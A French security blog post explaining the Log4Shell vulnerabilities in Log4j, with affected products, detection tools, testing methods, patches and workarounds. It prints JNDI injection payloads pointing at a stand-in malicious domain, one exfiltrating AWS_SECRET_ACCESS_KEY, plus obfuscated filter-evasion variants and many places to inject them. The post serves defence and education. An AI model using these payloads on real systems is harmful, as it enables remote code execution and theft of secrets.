Blog: On voulait parler des attaques cyber pendant les JO mais on n'a rien Ă dire
Blog: Log4j ou Log4Shell, la javapocalypse (CVE-2021-44228 et les autres đ„)
Auteur: Vlad
Publié le
TL;DR : lâannĂ©e se finit en beautĂ© (ou en cauchemar)
Je vous recommande lâĂ©coute du Podcast NoLimitSecu sur le sujet đ : https://www.nolimitsecu.fr/log4shell/
maj 2022-02-08 : Log4J câest sans fin⊠ajout des vulnĂ©rabilitĂ©s sur Log4j 1.x (CVE-2022-23302, CVE-2022-23305, CVE-2022-23307)
maj 2022-01-07 : Publication de rĂšgles de dĂ©tection par lâANSSI
maj 2021-12-29 :
⏠Then put your little hand in mine ⏠⫠There ainât no hill or mountain we canât climb ⫠⊠Debout les campeurs et haut les coeurs, nâoubliez pas vos bottes parce que ça caille aujourdâhui.
Vous ĂȘtes bien dans le film « un jour sans fin / Groundhog Day », vous vous rĂ©veillez et Ă nouveau, il yâa une vulnĂ©rabilitĂ© sur Log4J đ„ : exĂ©cution de code sur la version 2.17 (CVE-2021-44832) mais qui heureusement ne semble exploitable que dans des cas trĂšs spĂ©cifiques.
maj 2021-12-23 (car oui, jâai pris des vacances đ) : websocket, vx-underground, les 3 CVE, virtual patching, les premiĂšres exploitations selon Cisco et CloudFlare, MITRE ATT&CK
maj 2021-12-15 9h : version 2.16.0
maj 2021-12-14 11h : ajout dâune application volontairement vulnĂ©rable
maj 2021-12-14 9h : ajout dâun site listant les logiciels/Ă©diteurs impactĂ©s et leurs statuts
Quâest-ce que Log4j ?
Pour les deux du fond qui sont dans une cave depuis 20 ans ou qui ne sont pas informaticiens đ : Java est un langage de programmation haut niveau (comprendre : simplifiant la vie du dĂ©veloppeur) et utilisĂ© pour des applications web, pour des services web, des services « tout court », pour vos applications Android⊠en gros câest utilisĂ© partout.
La bonne pratique de tout bon développeur est de journaliser ce qui se passe, en particulier les erreurs et Java propose par défaut la librairie « java.util.logging » mais comme cette librairie semble trop simpliste, Log4j a été créé : https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541
Question One : Do you anticipate a need for any of the clever handlers that Log4j has that JUL does not have, such as the SMTPHandler, NTEventLogHandler, or any of the very convenient FileHandlers? Question Two : Do you see yourself wanting to frequently switch the format of your logging output? Will you need an easy, flexible way to do so? In other words, do you need Log4jâs PatternLayout? Question Three : Do you anticipate a definite need for the ability to change complex logging configurations in your applications, after they are compiled and deployed in a production environment? Does your configuration sound something like, âSevere messages from this class get sent via e-mail to the support guy; severe messages from a subset of classes get logged to a syslog deamon on our server; warning messages from another subset of classes get logged to a file on network drive A; and then all messages from everywhere get logged to a file on network drive Bâ? And do you see yourself tweaking it every couple of days? If you can answer yes to any of the above questions, go with Log4j. If you answer a definite no to all of them, JUL will be more than adequate and itâs conveniently already included in the SDK.
Log4j est donc une librairie open source qui permet de journaliser (logger) ce que vous voulez dans le code de vos applications. Elle est maintenue par deux volontaires et en rĂ©alitĂ© ce nâest pas une mais « la » principale librairie utilisĂ©e dans les applications en Java :
https://github.com/search?q=%22import+org.apache.logging.log4j%22&type=code
https://grep.app/search?q=import%20org.apache.logging.log4j
Nous sommes exactement dans le cas de figure illustré par cette image humoristique :
DâoĂč vient la vulnĂ©rabilitĂ© Log4Shell ?
Lorsquâil journalise une chaĂźne de caractĂšre, log4j essaie dây trouver des variables pour les remplacer par leur valeur. Par exemple, une variable « ${username} » permettrait de rĂ©cupĂ©rer le nom de lâutilisateur courant.
Log4j supporte en particulier les JNDI, les Java Naming and Directory Interface, qui sont des sortes dâinterfaces permettant de rĂ©cupĂ©rer le contenu dâune variable Ă travers le rĂ©seau.
JNDI permet plusieurs types dâaccĂšs au rĂ©seau : annuaire (LDAP), rĂ©solution de nom (DNS), objet de type CORBA, appels Ă des mĂ©thodes distance (RMI)âŠ
Dans le cas de JNDI, la variable suivante permet de rĂ©cupĂ©rer une classe Java par une requĂȘte dâannuaire LDAP : « ${jndi:ldap://ici-le-domaine-malveillant.com/exploit}»
Cette fonctionnalitĂ© date du temps oĂč Java appartenant Ă Sun/Oracle. Cela aurait dĂ» ĂȘtre supprimĂ©s mais des utilisateurs de Log4Jsây sont opposĂ©s.
Le problĂšme est que JNDI peut ĂȘtre dĂ©tourner pour exĂ©cuter du code, cela avait Ă©tĂ© prĂ©sentĂ© en 2016 Ă la confĂ©rence BlackHat : https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
Si une application utilisant Log4j reçoit une chaine de caractÚre contenant une variable JNDI, alors elle sera interprétée par Log4j.
Si cette variable contient un lien vers un domaine contrĂŽlĂ© par un attaquant, il pourra rĂ©pondre ce quâil veut et en particulier une class Java qui sera exĂ©cutĂ©e đ€Ż.
Voici fonctionnalités JNDI vulnérables:
Log4j 2.14 contient une vulnérabilité référencée CVE-2021-44228, qui permet une exécution de code à distance avec une charge utile comme : ${jndi:ldap://site-malveillante:389/a}
mise à jour Le correctif 2.15 est incomplet et, dans certains cas non standard, permet une exécution de code à distance référencée CVE-2021-45046, avec une charge utile comme : ${jndi:ldap://127.0.0.1#site-malveillante:389/a}
mise à jour Le correctif 2.16 est incomplet et permet à un déni de service (DoS) référencé CVE-2021-45105, avec une charge utile comme : ${${::-${::-$.${::-j}}}}
mise Ă jour Le correctif 2.17 est incomplet et, si lâattaquant peut modifier la configuration en ajoutant un complĂ©ment JDBC (JDBCAppender), permet une exĂ©cution de code Ă distance rĂ©fĂ©rencĂ©e CVE-2021-44832 đ .
https://logging.apache.org/log4j/2.x/security.html
Heureusement, cette vulnĂ©rabilitĂ© ne semble exploitable que si lâattaquant peut modifier la configuration du logger, ce qui me semble quand mĂȘme peu probable dans des configurations classiques. Par contre, si un attaquant a accĂšs :
- A votre dépÎt type git, dans lequel vous stocker vos configurations, redéployées réguliÚrement
- A la machine dâun des dĂ©veloppeurs ou DevOps (mais bon, il aura mieux Ă faire que modifier log4j2.xml đ) Alors il pourra modifier la configuration du logger et obtenir Ă nouveau une exĂ©cution de code.
Voici la publication du salarié de CheckMarx ayant découvert cette nouvelle vulnérabilité : https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/
Exemple de configuration avec âJDBCAppenderâ :
A noter que toutes les versions de Java semblent vulnérables : https://twitter.com/laughing_mantis/status/1470412026119798786?s=11
mise Ă jour Avec Log4j âquand yâen a plus, yâen a encoreâ et plusieurs vulnĂ©rabilitĂ©s ont Ă©tĂ© publiĂ©es sur Log4j 1.x :
- CVE-2022-23302, exĂ©cution de code depuis le gestionnaire dâĂ©vĂ©nements JMSSink, uniquement si lâattaquant peut modifier la configuration Log4j ce qui est vraiment trĂšs peu probable
- CVE-2022-23305, exĂ©cution de code depuis le module dâĂ©criture de log en base JDBCAppender, uniquement si lâattaquant peut modifier la configuration Log4j ce qui est vraiment trĂšs peu probable
- CVE-2022-23307, dans lâinterface (GUI) Chainsaw (inclu dans Log4j 1.2.x) https://logging.apache.org/log4j/2.x/security.htmlhttps://media.cert.europa.eu/static/SecurityAdvisories/2021/CERT-EU-SA2021-067.pdf
Chronologie de la découverte (CVE-2021-44228)
La chronologie exacte nâest pas connue pour lâinstant mais des joueurs de Minecraft aurait dĂ©couvert cette vulnĂ©rabilitĂ© et lâauraient utilisĂ© pour attaquer les serveurs dâautres joueurs (uniquement pour la version de Minecraft en Java qui permet les mod).
Disposer dâune vulnĂ©rabilitĂ© permettant de compromettre tout Internet et ne lâutiliser que pour tricher Ă Minecraft, quel gĂąchis đ.
mise Ă jour Cisco et CloudFlare disposant dâune surface dâĂ©coute dâInternet trĂšs large, ils ont pu rĂ©aliser des Ă©tudes afin de rechercher des traces des premiĂšres exploitations de la vulnĂ©rabilitĂ©. Selon eux, les premiĂšres exploitations dateraient du 1er dĂ©cembre 2021 pour dĂ©ployer des mineurs de cryptomonnaie : https://therecord.media/log4shell-attacks-began-two-weeks-ago-cisco-and-cloudflare-say/ . Câest en soit un peu rassurant, cela permet de ne pas avoir Ă rechercher dans ses logs sur les 5 derniĂšres annĂ©es đ.
Lâexploitation de la vulnĂ©rabilitĂ© a Ă©tĂ© dĂ©couverte, puis corrigĂ©e dans la librairie mais sans vraiment noter quâil sâagissait dâun problĂšme de sĂ©curitĂ©.
Le 12 novembre 2021, un chercheur lâĂ©quipe sĂ©curitĂ© dâAlibaba Cloud a officiellement reportĂ© la correction comme Ă©tant une faille de sĂ©curitĂ© et tout sâest emballĂ© dans les jours qui ont suivi avec surtout la publication des premiers codes dâexploitation jeudi 9 dĂ©cembre et vendredi 10 dĂ©cembre.
Depuis, cette vulnĂ©rabilitĂ© est massivement exploitĂ©e dans la nature pour⊠dĂ©ployer des mineurs de cryptomonnaie, quel gĂąchis đ.
Il yâa depuis pas mal dâexploitation qui visent Ă exfiltrer des donnĂ©es ou tout simplement les variables dâenvironnement des cibles qui parfois, contiennent des secrets comme sur les instances AWS EC2.
mise à jour Les attaquant ont commencé à déployer des outils de prise de contrÎle, des malware bancaires (Dridex), des vers type Mirai⊠Vous pourrez trouver une bonne partie des malwares (au sens large) utilisés par les attaquants chez VX-Underground : https://samples.vx-underground.org/samples/Families/Log4J%20Malware/
Voici un exemple du code dâexploitation pour sortir les variables dâenvironnement : « ${jndi:ldap://ici-le-domaine-malveillant.com/exploit/${env:AWS_SECRET_ACCESS_KEY}}»
Voici une liste rĂ©guliĂšrement mise Ă jour, dâadresses IP tentant dâexploiter la vulnĂ©rabilitĂ© : https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217
Vous pouvez bloquer sans trop de craintes ces IP (mĂȘme si cette liste reste publiĂ©e dans trop de contrĂŽle đ ).
CVSSv3 = 10.0 / 10.0
La note technique CVSSv3 de la vulnĂ©rabilitĂ© est de 10.0/10.0, câest une exĂ©cution de code Java Ă distance et elle a le niveau de criticitĂ© le plus Ă©levĂ©.
Il est surtout trÚs facile de la déclencher soit directement, soit indirectement.
Comme la vulnĂ©rabilitĂ© est dĂ©clenchĂ©e lors de la rĂ©ception de la chaĂźne de caractĂšres Ă journaliser, si une information Ă journaliser (une ligne de log) est envoyĂ©e Ă un concentrateur de log utilisant Log4j, vous avez la capacitĂ© dâexĂ©cuter du code sur cet actif, mĂȘme sâil nâest pas directement joignable ou au fin fond dâune DMZ. Câest pour cela que je donnerais plutĂŽt 11.0/10.0 Ă cette vulnĂ©rabilitĂ© đ.
Vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs ? Vous pouvez vous le faire compromettre.
Qui est vulnérable ?
Une quantitĂ© folle dâapplications, de services, dâentreprises⊠sont vulnĂ©rables, tant Java est utilisĂ© partout et tant cette vulnĂ©rabilitĂ© est exploitable de milles façons :
- Des tas de services web en Java qui vont journaliser certains de vos entĂȘtes comme « User-Agent » https://twitter.com/u039b/status/1469375014046687239?s=11
- Apple iCloud, vous nommez un WiFi avec lâexploit, un iPhone voit votre WiFi et « bim » (car Apple renvoie tous les noms des points dâaccĂšs WiFi que vous voyez Ă iCloud)
- AWS et en particulier AWS S3 https://twitter.com/russss/status/1469434078554382353?s=11
- Azure
- CloudFlare
- VMWare vCenter depuis lâentĂȘte « X-Forwarded-For » (Ă noter que le correctif actuellement distribuĂ© pour la version 6.x ne marche pas)
- VMWare, énormément de produits comme Horizon, Carbon Black EDR Server⊠https://www.vmware.com/security/advisories/VMSA-2021-0028.html
- Les backend dâĂ©diteurs dâEDR comme Carbon Black, CrowdStrike⊠laissant potentiellement accĂšs aux donnĂ©es des clients
- Cisco, des tas de produits dont AnyConnect Secure Mobility Client, Firepower Management Center (ex-SourceFire), IOS et IOS XE Software, Nexus, SD-WAN vEdge⊠https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
- Twitter par un simple tweet ? đ
- ElasticSearch, donc vos SIEM hors-ligne aussi
- Logstash sans surprise
- Splunk donc vos SIEM hors-ligne aussi
- Apache Solr
- Apache Druid
- Apache Flink
- Apache Struts2
- Redis la base de données clef/valeur
- Github
- McAfee
- SolarWinds, pour changerâŠ
- Steam
- Lâoutil de la NSA : Ghidra, ce qui laisse Ă penser quâils nâavaient pas connaissance de la vulnĂ©rabilitĂ©
- SonicWall
- Kafka
- Puppet
- Le proxy Cloud de Zscaler
- Apache JAMES SMTP⊠dont je nâai jamais entendu parler đ€Ł Si vous souhaitez en savoir plus sur les logiciels commerciaux ou open source vulnĂ©rable, en voici plusieurs listes mais asseyez-vous bien avant de cliquer et inspirer bien profondĂ©ment:
- Une assez large maintenue par SwitHak : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- Un autre git avec les status (vulnĂ©rable ou non, corrigĂ©, correctif disponibleâŠ) mis Ă jour rĂ©guliĂšrement : https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
- Un troisiĂšme avec les status : https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
En plus de tous ces logiciels, vous pouvez exploiter la vulnĂ©rabilitĂ© en utilisant une simple requĂȘte HTTP sur un site ou une application vulnĂ©rable en mettant la charge utile dans les entĂȘtes classiques comme « Referer » ou « User-Agent » ou « X-Forwarder-For ».
Vous pouvez aussi exploiter la vulnĂ©rabilitĂ© en envoyant un simple mail contenant le code dâexploitation dans le titre : https://twitter.com/xssfox/status/1469516383692091393?s=11
Vous pouvez également exploiter la vulnérabilité indirectement en positionnant la charge utile dans :
- Le fichier robots.txt Ă la racine de votre site
- Le fichier security.txt Ă la racine de votre site
- Vos enregistrements DNS de type « TXT »
- Certains entĂȘtes des mails que vous envoyez
- Lâadresse mail de lâexpĂ©diteur de vos mails car sachez que « bisous+(${jndi:ldap://ici-le-domaine-malveillant.com/exploit})@votre-domaine.com » est une adresse mail valide au sens de la RFC 822
- Lâidentifiant que vous utilisez pour vous authentifier sur un site
- Le mot de passe que vous utilisez pour vous authentifier sur un site
- Les champs de vos certificats SSL/TLS
- Le nom du votre rĂ©seau WiFi car iPhone, lâappli Instagram⊠envoient les noms des rĂ©seaux WiFi (BSSID) environnant Ă lâĂ©diteur
- Le nom de votre appareil détectable en Bluetooth
- Les métadonnées de vos images
- Les métadonnées des champs EXIF de vos images
- Les mĂ©tadonnĂ©es de vos fichiers type PDF, Docx, ExcelâŠ
- Soyez crĂ©atif đ
WebSocket
Les navigateurs modernes supportent la fonctionnalitĂ© de WebSocket, câest-Ă -dire quâil est possible dâouvrir une connexion HTTP depuis une page web avec du code Javascript et donc de faire des requĂȘtes web.
Cela parait Ă©vident une fois quâon le sait đ mais la vulnĂ©rabilitĂ© Log4J est exploitable depuis un navigateur Ă partir dâune WebSocket. Si un utilisateur dâune entreprise navigue sur un site web malveillant, depuis le systĂšme dâinformation de cette mĂȘme entreprise (ou en VPN), alors ce site web peut lĂ©gitimement demander au navigateur de scanner le rĂ©seau interne (il yâa pleins dâexemples sur Internet) et de tenter dâexploiter la vulnĂ©rabilitĂ© sur les services internes joignable. Câest en fait ultra simple, ultra Ă©vident quand on le sait et⊠terriblement efficace đ.
Cette mĂ©thode peut ĂȘtre exploitĂ©e par le simple envoie dâun mail contenant un lien malveillant.
https://www.zdnet.com/article/security-firm-blumira-discovers-major-new-log4j-attack-vector/
DĂ©tecter la prĂ©sence dâune exploitation
DĂ©tecter
Florian Roth a mise en ligne un outil permettant de rechercher la prĂ©sence de trace dâexploitation, mĂȘme dans les archives .gz : https://github.com/Neo23x0/log4shell-detector
A noter que pour VMWare, le répertoire à scanner est « /storage/log/vmware/ »
Vous lancez lâoutil Ă la racine de vos serveurs et câest tout :
Sinon, vous pouvez juste faire des recherches simples dans vos logs.
Le plus simple est de déjà détecter la présence de « ${ » dans une chaßne de caractÚres mais avec un risque de faux positifs. Sinon, il faut aussi chercher les autres caractÚres non obfuscables comme « : », « / », « . » et « } ».
Voici une expression réguliÚre peu performante qui fera le boulot de détection mais génÚrera pas mal de faux positifs, acceptables temporairement vu la situation : « ${.:././.} »
mise Ă jour LâANSSI vient Ă nouveau de mettre Ă jour son bulletin dâalerte avec des rĂšgles de dĂ©tection pour lâIDS Suricata, dans un PDF avec toutes les explications et dans un fichier TXT avec uniquement les rĂšgles, bravo lâANSSI đ.
MITRE ATT&CK
Si vous souhaitez rĂ©fĂ©rencer lâexploitation de cette vulnĂ©rabilitĂ© avec les identifiants du framework ATT&CK, les voici :
AccĂšs initial par lâexploitation de la vulnĂ©rabilitĂ© sur un composant exposĂ© Ă Internet -> T1190 https://attack.mitre.org/techniques/T1190/ Utilisation en post-exploitation pour un mouvement latĂ©ral -> T1210 https://attack.mitre.org/techniques/T1210/
MĂ©thode de contournement des signatures
Du fait des diffĂ©rentes possibilitĂ©s dâĂ©critures des chemins JNDI et de leur interprĂ©tation par Java, il est possible de facilement obfusquer lâexploit et voici quelques exemples :
${jndi:dns://ici-le-domaine-malveillant.com/exploit } ${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit ${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}
Voici un tweet avec encore plus dâobfuscation : https://twitter.com/wugeej/status/1469982901412728832?t=gom5LhC8ClE275b46SYgNA
Tester la présence de la vulnérabilité
Twitter regorge dâoutils et de PoC pour tester la prĂ©sence de la vulnĂ©rabilitĂ©. Il est Ă noter que vulnĂ©rabilitĂ© peut sâactiver des heures aprĂšs vos tests, nous lâavons eu chez plusieurs clients. Câest un comportement commun mais encore inexpliquĂ© : https://twitter.com/mubix/status/1470747203811651592?s=21
Nuclei
Le test a Ă©tĂ© intĂ©grĂ© Ă Nuclei et repose sur un appel externe Ă interactsh.com . Ce nâest pas dâune discrĂ©tion folle dâautant que les hĂ©bergeurs de interactsh sauront que vous ĂȘtes vulnĂ©rables mais au moins, cela fonctionne :
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml
Burp
Voici un plugin pour Burp permettant de détecter une cible vulnérable : https://github.com/whwlsfb/Log4j2Scan
Il utilise une dizaine de techniques dâobfuscation et test nombreux entĂȘtes (user-agent, rĂ©fĂ©rer, x-forwarded-for, x-real-ipâŠ)
Patrowl
Bon, je suis obligĂ© de faire un peu dâauto-promo car le contrĂŽle est intĂ©grĂ© Ă Patrowl đ, donc si vous avez Patrowl, vous ĂȘtes tranquille.
Manuellement
Vous pouvez aussi le faire vous-mĂȘme et crĂ©er un jeton (token) de test DNS chez vous ou avec https://canarytokens.org/generate#
Copiez le jeton (token) généré :
Construisez votre charge utile, ici : ${jndi:ldap://v4a2rv8dr3w93v6rbiuirsj45.canarytokens.com/a}
Utilisez cette charge utile pour tester votre application dans un entĂȘte « user-agent », dans un paramĂštre de rechercheâŠ.
â ïžâ ïžâ ïž
Si vous testez la vulnĂ©rabilitĂ© avec des services externes comme interact.sh, interactsh.com, canarytokens.org ou dnslog.cn, faites quand mĂȘme attention, vous ne savez pas qui est derriĂšre ces services et ce quâils feront des informations que vous leur donnez đ. LâidĂ©al est de monter son propre serveur DNS avec un outil comme DnsChef https://github.com/iphelix/dnschef pour voir et rĂ©pondre aux requĂȘtes DNS ou avec lâoutil interactsh https://github.com/projectdiscovery/interactsh
Application volontairement vulnérable
Si vous souhaitez tester vos charges utiles (payload), voici une application vulnĂ©rable dĂ©veloppĂ©e pour lâoccasion : https://github.com/leonjza/log4jpwn
Que faire ?
Câest trĂšs compliquĂ© car la vulnĂ©rabilitĂ© peut se trouver Ă tellement dâendroits⊠pour faire simple : câest la merde et vous risquez dâen avoir pour des jours, voire des semaines, dâautant que cette vulnĂ©rabilitĂ© arrive en pleines fĂȘtes de NoĂ«l, en plein pendant vos gels de fin dâannĂ©es (vos « freeze » annuels de toute modification sur vos infrastructures).
Il faut ĂȘtre capable de cartographier son systĂšme dâinformation au sens large en identifiant tous les Ă©diteurs afin de savoir sâils sont vulnĂ©rables ainsi que tous vos logiciels, services, applications⊠en Java qui pourraient ĂȘtre vulnĂ©rables.
Pour les Ă©diteurs, il faut suivre les bulletins dâalertes, utiliser le git de SwitHak citĂ© plus haut et suivre lâactualitĂ© sĂ©curitĂ© car cela risque de bouger trĂšs vite dans les jours qui viennent.
Ensuite, il faut ĂȘtre capable de savoir si vos logiciels utilisent Log4j dans les versions vulnĂ©rables (cf. bulletin de lâANSSI), ce qui nâest pas trivial. Suivant la version de Java, la version de Log4j⊠il vous faudra dĂ©cider de mettre Ă jour ou dâappliquer un contournement.
En parallÚle, il est important de continuer à rechercher les exploitations potentielles de la vulnérabilité partout.
Le bulletin de lâANSSI : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
Corriger
Le mieux est de mettre à jour avec la derniÚre version de log4j car les versions intermédiaire sont vulnérables à un déni de service ou une exécution de code à distance.
En thĂ©orie il est possible de rester en 2.16.0 car ce nâest quâun dĂ©ni de service, mais je recommande plutĂŽt de peser le pour et le contre en se posant cette question : est-il plus facile/rapide pour moi de qualifier le besoin de cette nouvelle mise Ă jour vs le temps et la difficultĂ© Ă mettre Ă jour.
Si la mise Ă jour se fait en 1 clic ou en une seule commande mettant Ă jour 2000 serveurs, sans impact de disponibilitĂ© de la plateforme, nâhĂ©sitez pas Ă passer en 2.17.1 đ.
Sâil faut redĂ©marrer des hyperviseurs avec un arrĂȘt complet de vos services pendant 2 heures, restez en 2.16.0 pour lâinstant.
Contournements
Il est possible de mettre en place une variable dĂ©sactivant les rĂ©solutions de nom, limitant lâexploitation de la vulnĂ©rabilitĂ© mais ne la corrige pas :
Soit en modifiant la ligne de commande de lâappel au logiciel : # java ⊠âDlog4j2.formatMsgNoLookups=True ⊠-jar mon_appli_toute_moisie.jar Soit en mettant en place une variable dâenvironnement dans le fichier .profile du compte exĂ©cutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true» Pour les applications en Docker, dans le fichier « Dockerfile », il faut ajouter « ENV LOG4J_FORMAT_MSG_NO_LOOKUPS=true » Ou dans le fichier « Dockerfile», au niveau de la ligne de commande, il faut ajouter « CMD âjavaâ, â-Dlog4j.formatMsgNoLookups=trueâ, â-jarâ, ââŠâ » Ou dans le fichier « docker-compose.yml », il faut ajouter: web: environment: â LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Plus de détails ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/
Virtual patching
Plusieurs entreprises, dont AWS, proposent des solutions permettant de corriger la vulnérabilité juste en redémarrant le service en lui adjoignant une bibliothÚque complémentaire chargée de corriger le problÚme en mémoire.
En voici trois :
https://github.com/corretto/hotpatch-for-apache-log4j2 (Ă©quipe dâAWS) https://github.com/nccgroup/log4j-jndi-be-gonehttps://blog.fox-it.com/2021/12/14/log4j-jndi-be-gone-a-simple-mitigation-for-cve-2021-44228/ Avec la phrase ci-dessous, le dernier article permet de comprendre que des logiciels payant avec DRM embarquent des logiciels libres đ€Šââïž :
<<The benefit ⊠negate the vulnerability ⊠so long as it isnât obfuscated (e.g. with proguard), in which canse you may not be in a good position to update it anyway. >>
Cloisonner
Cela fait partie des bonnes pratiques : il faut filtrer strictement les flux, en particulier sortants afin dâempĂȘcher un serveur vulnĂ©rable dâaller chercher un code dâexploitation quelque part ou de dialoguer avec un serveur de command and control (C2).
Bon courage Ă tous !
Au moment oĂč jâĂ©cris ces lignes, Guillaume Poupard, le directeur de lâANSSI, vient de publier :
<< đšUne vulnĂ©rabilitĂ© a Ă©tĂ© dĂ©couverte dans la bibliothĂšque de journalisation Apache log4j. ⊠Cette vulnĂ©rabilitĂ© permet Ă un attaquant de provoquer une exĂ©cution de code arbitraire Ă distance sâil a la capacitĂ© de soumettre une donnĂ©e Ă une application qui utilise la bibliothĂšque log4j pour journaliser lâĂ©vĂšnement. Cette attaque peut ĂȘtre rĂ©alisĂ©e sans ĂȘtre authentifiĂ©, par exemple en tirant parti dâune page dâauthentification qui journalise les erreurs dâauthentification. Des preuves de concept ont dĂ©jĂ Ă©tĂ© publiĂ©es et des codes dâexploitation sont susceptibles dâĂȘtre rapidement dĂ©veloppĂ©s. Les dĂ©tails dans lâalerte CERTFR-2021-ALE-022đ https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
Levée de 11 M⏠pour Patrowl en série A : Vers une protection continue des actifs numériques
Blog: RegreSSHion, critical vulnerability on OpenSSH CVE-2024-6387